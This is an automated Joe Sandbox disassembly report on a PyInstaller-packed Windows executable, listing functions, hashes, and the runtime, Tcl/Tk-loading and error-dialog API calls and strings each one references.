Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: bfb090b2684f97747e4e2589e7b79ee9627266c2664004addae3296ee4c2c8e2
Instruction ID: e6db5c36452f158405c7f27170f105d6e5f84f7346c257c801786948fcdec275
Opcode Fuzzy Hash: bfb090b2684f97747e4e2589e7b79ee9627266c2664004addae3296ee4c2c8e2
Instruction Fuzzy Hash: 28E08660F0820A42FF45BBF658653B5D1905F8AF01FC44436C80DC6252EE3C688D4233

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BC46C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54BC494

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6c27d5487ee8182774302d92aae2f9046d2b98e9277a8b83ca44002d61502fcf
Instruction ID: 13ea9680c3b4016c916f509ac1604626ba828c5cd75bca52d6c23f89c93333a4
Opcode Fuzzy Hash: 6c27d5487ee8182774302d92aae2f9046d2b98e9277a8b83ca44002d61502fcf
Instruction Fuzzy Hash: 8C41E67290824A87EAA4EA59A5A4779B3A0EB57F40F900132D78DC3691CF7CE506C772

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A82B0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7E54A835A

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 5bcc2cf0a6958828a0b7944717d8067c930d6a2004912b0548d86a523fe8fced
Instruction ID: 0461ac8553effdfa3b2816a464fdf9739e4c763981762b2521f4978f7ac31627
Opcode Fuzzy Hash: 5bcc2cf0a6958828a0b7944717d8067c930d6a2004912b0548d86a523fe8fced
Instruction Fuzzy Hash: 7721B421B0825A45EB90BA5264243BAE651FF46FD4FC85432EE1D87787EE3DE409C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BBEFC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54BBF82

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 33c1c355f770a45dc32ec47b5556db51f5a056321d098f55ce731dda09118c74
Instruction ID: 85a3465b879f1ed07ee3cee8bb5a58a951171f4a3c3d8425ae86c123877d8ab5
Opcode Fuzzy Hash: 33c1c355f770a45dc32ec47b5556db51f5a056321d098f55ce731dda09118c74
Instruction Fuzzy Hash: 3A318331A1864A86F781BB9588613BCA650AF46F61F810637DA1DC73D2DE7CE44A8633

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B64A8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B640D

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction ID: 660f04fe69c3416d8581e60d726ae1c851db84fdeeb82d5d1dd6c661b15d28f5
Opcode Fuzzy Hash: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
Instruction Fuzzy Hash: 48118431A1CA4981EEA1BF919421379E260FF86F80F844432EA4DC7A86DF7CD444A727

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C6CAC Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C6CCF

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c0ad99c40d53020ccb328d164a39266f2dfd48b33636b9c7a3122610519525da
Instruction ID: ce40682fa71e5061305dbeef87b03957bbc3a9f126eda227219fddfc0eb2321c
Opcode Fuzzy Hash: c0ad99c40d53020ccb328d164a39266f2dfd48b33636b9c7a3122610519525da
Instruction Fuzzy Hash: C821C532608A4586EB61AF18E450379B3B0FBC5F54F944236EA5DC76D5DF3CD4098B11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54B04FC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54B0550

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e4e6805aeaf9884a68cba76bd798531beecc2a98c7129b287afec428eebc8cdc
Instruction ID: 9d45feef5dce7eba47d929906d85429cc0364c8c884b6c80fedc9a1910b8eb2e
Opcode Fuzzy Hash: e4e6805aeaf9884a68cba76bd798531beecc2a98c7129b287afec428eebc8cdc
Instruction Fuzzy Hash: 49010831A0874980EA95FB9699103ADE691BF87FE0F884632DE5C83BD6DE3CD5054311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BF158 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7E54BB9A6,?,?,?,00007FF7E54BAB67,?,?,00000000,00007FF7E54BAE02), ref: 00007FF7E54BF1AD

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3903a8e07e771c3ce20f22a7cfda351bfc6825da59dd5d1b3ed6874a84ef80bd
Instruction ID: acc76aac2fd0ccad933bcc268fd1f63b7a7865af262cc45dfe8799a3c0e6c395
Opcode Fuzzy Hash: 3903a8e07e771c3ce20f22a7cfda351bfc6825da59dd5d1b3ed6874a84ef80bd
Instruction Fuzzy Hash: A5F04466B0960E91FED476A199303B5C2915F8AF40FCC5832CD0DC63D2DD3CA8494632

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54BDBBC Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF7E54B0D24,?,?,?,00007FF7E54B2236,?,?,?,?,?,00007FF7E54B3829), ref: 00007FF7E54BDBFA

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4a58605cc4c1e1369a1067e1172dc77d995423b1642967883a658540b08b4ee9
Instruction ID: bf1363124084e05f637a59a073c5b3db3cdd45ba963a3d862098e6cf8b345010
Opcode Fuzzy Hash: 4a58605cc4c1e1369a1067e1172dc77d995423b1642967883a658540b08b4ee9
Instruction Fuzzy Hash: 55F03A20A0C24E41FE9476B258207B5D2B05F8AF60F984672D92ECA2C1DD7CA4888132

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF7E54A6EF0 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7E54A6F07
GetProcAddress.KERNEL32 ref: 00007FF7E54A6F46
GetProcAddress.KERNEL32 ref: 00007FF7E54A6F6B
GetProcAddress.KERNEL32 ref: 00007FF7E54A6F90
GetProcAddress.KERNEL32 ref: 00007FF7E54A6FB8
GetProcAddress.KERNEL32 ref: 00007FF7E54A6FE0
GetProcAddress.KERNEL32 ref: 00007FF7E54A7008
GetProcAddress.KERNEL32 ref: 00007FF7E54A7030
GetProcAddress.KERNEL32 ref: 00007FF7E54A7058

Strings

Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF7E54A70E2
Tcl_CreateThread, xrefs: 00007FF7E54A7026
Tcl_DeleteInterp, xrefs: 00007FF7E54A6FFE
Failed to get address for Tcl_Alloc, xrefs: 00007FF7E54A7362
Tcl_EvalFile, xrefs: 00007FF7E54A72CE
Tcl_Init, xrefs: 00007FF7E54A6F00
Tcl_FindExecutable, xrefs: 00007FF7E54A6F61
Tcl_CreateObjCommand, xrefs: 00007FF7E54A71DE
Tcl_EvalObjv, xrefs: 00007FF7E54A731E
Tcl_Alloc, xrefs: 00007FF7E54A7346
Failed to get address for Tcl_GetVar2, xrefs: 00007FF7E54A71AA
Failed to get address for Tcl_MutexLock, xrefs: 00007FF7E54A7092
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF7E54A701A
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF7E54A7132
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF7E54A6FF2
Tk_GetNumMainWindows, xrefs: 00007FF7E54A73BE
Tcl_MutexUnlock, xrefs: 00007FF7E54A709E
Tcl_ThreadQueueEvent, xrefs: 00007FF7E54A713E
Failed to get address for Tcl_Finalize, xrefs: 00007FF7E54A6FCA
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF7E54A7182
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF7E54A73DA
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF7E54A7272
Tcl_GetCurrentThread, xrefs: 00007FF7E54A704E
Failed to get address for Tcl_CreateThread, xrefs: 00007FF7E54A7042
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF7E54A733A
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF7E54A710A
Tcl_GetObjResult, xrefs: 00007FF7E54A72A6
Tcl_ConditionNotify, xrefs: 00007FF7E54A70EE
Tcl_DoOneEvent, xrefs: 00007FF7E54A6F86
Tcl_NewByteArrayObj, xrefs: 00007FF7E54A7256
Tcl_ThreadAlert, xrefs: 00007FF7E54A7166
Tcl_MutexLock, xrefs: 00007FF7E54A7076
Tcl_GetVar2, xrefs: 00007FF7E54A718E
Tcl_CreateInterp, xrefs: 00007FF7E54A6F3C
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF7E54A6F58
Failed to get address for Tcl_GetString, xrefs: 00007FF7E54A7222
Tcl_Free, xrefs: 00007FF7E54A736E
Failed to get address for Tk_Init, xrefs: 00007FF7E54A73B2
Tcl_SetVar2, xrefs: 00007FF7E54A71B6
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF7E54A71FA
Tcl_FinalizeThread, xrefs: 00007FF7E54A6FD6
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF7E54A6F7D
Failed to get address for Tcl_Free, xrefs: 00007FF7E54A738A
Tcl_ConditionWait, xrefs: 00007FF7E54A7116
Tcl_GetString, xrefs: 00007FF7E54A7206
Failed to get address for Tcl_SetVar2, xrefs: 00007FF7E54A71D2
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF7E54A715A
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF7E54A706A
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF7E54A724A
Tcl_NewStringObj, xrefs: 00007FF7E54A722E
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF7E54A6FA2
Failed to get address for Tcl_EvalEx, xrefs: 00007FF7E54A7312
GetProcAddress, xrefs: 00007FF7E54A6F20
Tcl_EvalEx, xrefs: 00007FF7E54A72F6
Tcl_ConditionFinalize, xrefs: 00007FF7E54A70C6
Failed to get address for Tcl_Init, xrefs: 00007FF7E54A6F19
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF7E54A70BA
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF7E54A729A
Tcl_SetVar2Ex, xrefs: 00007FF7E54A727E
Tcl_Finalize, xrefs: 00007FF7E54A6FAE
Failed to get address for Tcl_EvalFile, xrefs: 00007FF7E54A72EA
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF7E54A72C2
Tk_Init, xrefs: 00007FF7E54A7396

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: 7c721144a29f82c0df2178d2ac20e82e85a8926ad6b3cde14d1131664071774a
Instruction ID: 1d02da4cbd54665d03a764bc030b6798197d866b767a615385e130b8fbd0c761
Opcode Fuzzy Hash: 7c721144a29f82c0df2178d2ac20e82e85a8926ad6b3cde14d1131664071774a
Instruction Fuzzy Hash: A8E1ED64A0EB4B90FA95BB15A870374E3A1AF86F81BD45037D41E86359FF7CB15C8322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A1F50 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF7E54A1F9E
MulDiv.KERNEL32 ref: 00007FF7E54A1FB2
MulDiv.KERNEL32 ref: 00007FF7E54A1FD3
SystemParametersInfoW.USER32 ref: 00007FF7E54A201B
CreateFontIndirectW.GDI32 ref: 00007FF7E54A202F
#380.COMCTL32 ref: 00007FF7E54A2053
CreateWindowExW.USER32 ref: 00007FF7E54A20A6
CreateWindowExW.USER32 ref: 00007FF7E54A2100
CreateWindowExW.USER32 ref: 00007FF7E54A215D
CreateWindowExW.USER32 ref: 00007FF7E54A21BF
SendMessageW.USER32 ref: 00007FF7E54A21DF
SendMessageW.USER32 ref: 00007FF7E54A21F9
SendMessageW.USER32 ref: 00007FF7E54A2218
SendMessageW.USER32 ref: 00007FF7E54A2237
SendMessageW.USER32 ref: 00007FF7E54A2255
SendMessageW.USER32 ref: 00007FF7E54A2273
SendMessageW.USER32 ref: 00007FF7E54A2291
SendMessageW.USER32 ref: 00007FF7E54A22A9
SendMessageW.USER32 ref: 00007FF7E54A22C1
GetClientRect.USER32 ref: 00007FF7E54A22D0

Part of subcall function 00007FF7E54A23F0: GetDC.USER32 ref: 00007FF7E54A241B
Part of subcall function 00007FF7E54A23F0: SelectObject.GDI32 ref: 00007FF7E54A2462
Part of subcall function 00007FF7E54A23F0: DrawTextW.USER32 ref: 00007FF7E54A2485
Part of subcall function 00007FF7E54A23F0: SelectObject.GDI32 ref: 00007FF7E54A249B
Part of subcall function 00007FF7E54A23F0: ReleaseDC.USER32 ref: 00007FF7E54A24AB
Part of subcall function 00007FF7E54A23F0: MoveWindow.USER32 ref: 00007FF7E54A24FB
Part of subcall function 00007FF7E54A23F0: MoveWindow.USER32 ref: 00007FF7E54A253B
Part of subcall function 00007FF7E54A23F0: MoveWindow.USER32 ref: 00007FF7E54A258E

Strings

BUTTON, xrefs: 00007FF7E54A2176
STATIC, xrefs: 00007FF7E54A205C, 00007FF7E54A20B1
Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF7E54A1F7D
EDIT, xrefs: 00007FF7E54A210B
Close, xrefs: 00007FF7E54A2168

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 2b11bbb19a83a086465840dcd7a103c40d81e06c4cc6566eb68c4ee1e4e9da55
Instruction ID: 8793d807f8aea7dd662373e548f18ee6dc996b4f7b5cc58d12e3f620da191409
Opcode Fuzzy Hash: 2b11bbb19a83a086465840dcd7a103c40d81e06c4cc6566eb68c4ee1e4e9da55
Instruction Fuzzy Hash: 3FA19B36608B8987E314DF11E46479AB374F789B84FA0412AEB9D43B24DF3DE168CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54C471C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF7E54C476A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C4DD6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C4F4C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C520A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C542A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E54C5667
memcpy_s.LIBCPMT ref: 00007FF7E54C5742
memcpy_s.LIBCPMT ref: 00007FF7E54C57ED
memcpy_s.LIBCPMT ref: 00007FF7E54C58BC

Strings

1#SNAN, xrefs: 00007FF7E54C487A
1#IND, xrefs: 00007FF7E54C4857
1#QNAN, xrefs: 00007FF7E54C4883
1#INF, xrefs: 00007FF7E54C4893

Memory Dump Source

Source File: 00000001.00000002.2885847885.00007FF7E54A1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E54A0000, based on PE: true

Associated: 00000001.00000002.2885720169.00007FF7E54A0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2885956941.00007FF7E54CB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54DE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886064604.00007FF7E54E0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E54E2000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2886174936.00007FF7E5528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7e54a0000_5GG.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 462ebf29a53f9f8e0898a565754c8078d18c0a01f6b8af8c35fed8b76f3e05ac
Instruction ID: c9b7c21ef34e17764449e220bb1bfbe9df039f3bd83bcafdc14584d5097e09c5
Opcode Fuzzy Hash: 462ebf29a53f9f8e0898a565754c8078d18c0a01f6b8af8c35fed8b76f3e05ac
Instruction Fuzzy Hash: F6B23972E1828A8BF764DF24D5607FCB7A1FB85B49F801136DA0DD7A84DB38A508CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E54A8560 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF7E54A2A5E,?,?,?,?,?,?,?,?,?,?,?,00007FF7E54A101D), ref: 00007FF7E54A8587
FormatMessageW.KERNEL32 ref: 00007FF7E54A85B6
WideCharToMultiByte.KERNEL32 ref: 00007FF7E54A860C

Part of subcall function 00007FF7E54A29E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7E54A87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF7E54A101D), ref: 00007FF7E54A2A14
Part of subcall function 00007FF7E54A29E0: MessageBoxW.USER32 ref: 00007FF7E54A2AF0

Strings

FormatMessageW, xrefs: 00007FF7E54A85C7
WideCharToMultiByte, xrefs: 00007FF7E54A861D
PyInstaller: FormatMessageW failed., xrefs: 00007FF7E54A85D3
No error messages generated., xrefs: 00007FF7E54A85C0
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7E54A8616
